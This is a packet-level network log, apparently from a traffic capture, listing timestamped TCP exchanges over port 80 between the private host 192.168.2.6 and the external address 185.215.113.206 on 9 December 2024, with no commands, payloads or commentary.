Dec 9, 2024 18:20:08.756279945 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.757091045 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.757143021 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.757272959 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.757318020 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.758080006 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.758131027 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.758232117 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.758284092 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.759069920 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.759143114 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.759165049 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.759212017 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.760010958 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.760061979 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.760099888 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.760143042 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.760900974 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.760941029 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.760978937 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.761029959 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.816668987 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.816770077 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.816785097 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.816829920 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.817142963 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.817192078 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.817255020 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.817293882 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.818048954 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.818093061 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.818171024 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.818211079 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.818958044 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.819009066 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.819077015 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.819117069 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.820041895 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.820081949 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.820192099 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.820231915 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.820995092 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.821038961 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.821192026 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.821230888 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.821844101 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.821902990 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.821954966 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.821990013 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.822870016 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.822915077 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.822977066 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.823019028 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.823795080 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.823836088 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.823954105 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.823991060 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.824713945 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.824754953 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.824928045 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.824969053 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.825683117 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.825723886 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.825800896 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.825839043 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.826762915 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.826798916 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.826853991 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.826894045 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.827625990 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.827665091 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.827755928 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.827795029 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.828548908 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.828591108 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.828671932 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.828713894 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.829565048 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.829605103 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.829694986 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.829734087 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.830477953 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.830519915 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.830585003 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.830625057 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.831424952 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.831466913 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.831540108 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.831581116 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.832398891 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.832438946 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.832514048 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.832559109 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.833353043 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.833403111 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.833478928 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.833518982 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.834278107 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.834317923 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.834391117 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.834431887 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.835259914 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.835302114 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.835350037 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.835391045 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.836226940 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.836266041 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.836342096 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.836381912 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.837184906 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.837229013 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.837265015 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.837304115 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.838108063 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.838157892 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.879097939 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.879169941 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.879201889 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.879242897 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.879560947 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.879605055 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.879641056 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.879679918 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.880454063 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.880494118 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.880645037 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.880683899 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.881547928 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.881587982 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.881647110 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.881694078 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.882488966 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.882534027 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.882620096 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.882657051 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.883440018 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.883482933 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.883603096 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.883644104 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.884367943 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.884413004 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.884445906 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.884481907 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.885459900 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.885504961 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.885535955 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.885571957 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.886347055 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.886395931 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.886424065 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.886465073 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.887567043 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.887614965 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.887653112 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.887693882 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.888345957 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.888389111 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.888475895 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.888515949 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.889137030 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.889179945 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.889254093 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.889297009 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.890074968 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.890124083 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.890207052 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.890249014 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.891021013 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.891068935 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.891119003 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.891158104 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.892029047 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.892077923 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.892106056 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.892148018 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.892949104 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.893013000 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.893045902 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.893084049 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.893876076 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.893923044 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.893985987 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.894026041 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.894862890 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.894907951 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.894996881 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.895040035 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.895868063 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.895909071 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.895973921 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.896014929 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.896780968 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.896821976 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.896863937 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.896905899 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.944766045 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.944835901 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.944914103 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.944953918 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.946145058 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.946156025 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.946192026 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.946228981 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.946268082 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.946327925 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.946367979 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.947112083 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.947154999 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.947607994 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.947649002 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.947690964 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.947726965 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.948338032 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.948380947 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.948523998 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.948573112 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.948616028 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.948652029 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.949500084 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.949542999 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.949628115 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.949664116 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.950443983 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.950490952 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.950582981 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.950624943 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.951522112 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.951582909 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.951654911 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.951700926 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.952368021 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.952414989 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.952464104 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.952505112 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.953322887 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.953361988 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.008717060 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.008774996 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.008908033 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.008949995 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.009233952 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.009277105 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.009290934 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.009336948 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.009890079 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.009928942 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.009993076 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.010035038 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.010889053 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.010934114 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.011024952 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.011066914 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.012111902 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.012155056 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.012252092 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.012295008 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.013014078 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.013055086 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.013195038 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.013235092 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.014080048 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.014126062 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.014290094 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.014324903 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.015105009 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.015146017 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.015183926 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.015224934 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.015934944 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.015974998 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.016061068 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.016093969 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.016810894 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.016868114 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.016896009 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.016931057 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.017647982 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.017688036 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.017757893 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.017796040 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.018598080 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.018616915 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.018630981 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.018662930 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.019511938 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.019562006 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.019635916 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.019675016 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.020421982 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.020467043 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.020564079 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.020605087 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.021392107 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.021434069 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.021543980 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.021584034 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.022564888 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.022605896 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.022634029 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.022669077 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.023382902 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.023422003 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.023453951 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.023488045 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.024303913 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.024343014 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.024430037 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.024470091 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.025496960 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.025547028 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.025609970 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.025648117 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.026170969 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.026216984 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.026307106 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.026357889 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.027188063 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.027230978 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.027318001 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.027358055 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.028117895 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.028162003 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.028211117 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.028249025 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.029067039 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.029113054 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.029184103 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.029228926 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.030030966 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.030071974 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.071170092 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.071234941 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.071255922 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.071293116 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.071628094 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.071711063 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.071798086 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.071847916 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.072105885 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.072151899 CET	49707	80	192.168.2.6	185.215.113.206
